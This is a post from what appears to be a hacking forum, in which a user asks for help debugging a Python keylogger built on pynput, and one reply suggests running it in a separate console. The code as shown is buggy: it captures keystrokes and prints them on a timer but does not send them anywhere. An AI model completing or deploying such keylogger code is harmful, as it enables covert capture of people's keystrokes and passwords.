Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Python 

Python Keylogger Troubles

Hey!, im having troubles working a python Keylogger that I am trying to make and I am stuck on a particular bit.

FILE 1

Code
import pynput.keyboard
import threading

class KEYLOG:
   def __init__(self):
       self.log = ""
       print("We are in constructor method")


   def append_to_log(self, string):
       self.log = self.log + string


   def process_key_press(self, key):
       try:
           current_key = str(key.char)
           self.append_to_log(str(key.char))
       except AttributeError:
           if key == key.space:
               current_key = log + " "
           else:
               current_key = log + " " + str(key) + " "
           self.append_to_log(current_key)

   def report(self):
       print(self.log)
       log = ""
       timer = threading.Timer(5, self.report)
       timer.start()

   def start(self):
       keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
       with keyboard_listener:
           self.report()
           keyboard_listener.join()

FILE 2
Code
import Logger.py

logger_key = Logger.KEYLOG()
logger_key.start()

Now when this is ran, the system does not provide any errors and instead just throws up


Process finished with exit code 0


I dont understand what is going wrong and the fact that there is no errors is more confusing, I am using PyCharm with python 3.7

I have tried to run through console nothing happened

Currently trying to get better at Greyhat Python and any help would be appreciated.
Try to run it on a separated console, sometimes the IDE which you use throw some error, that's happening to me in another IDE when I'm trying to run a discord bot.
However, the bot works somehow for me:
imgur(dot)com/CQUL96F
Sorry, I do not have enough posts


Possibly Related Threads...
Thread / Author Replies Views Last Post
by CH1PDec 26, 2023 01:41 PM 0 113 Dec 26, 2023 01:41 PM
Last Post: CH1P
[Python] by Bass_ReevesAug 20, 2023 01:44 AM 9 631 Aug 20, 2023 01:44 AM
Last Post: Lucky4L
[C] by asteriskJun 16, 2019 09:52 PM 7 200 Jun 16, 2019 09:52 PM
Last Post: Irritiable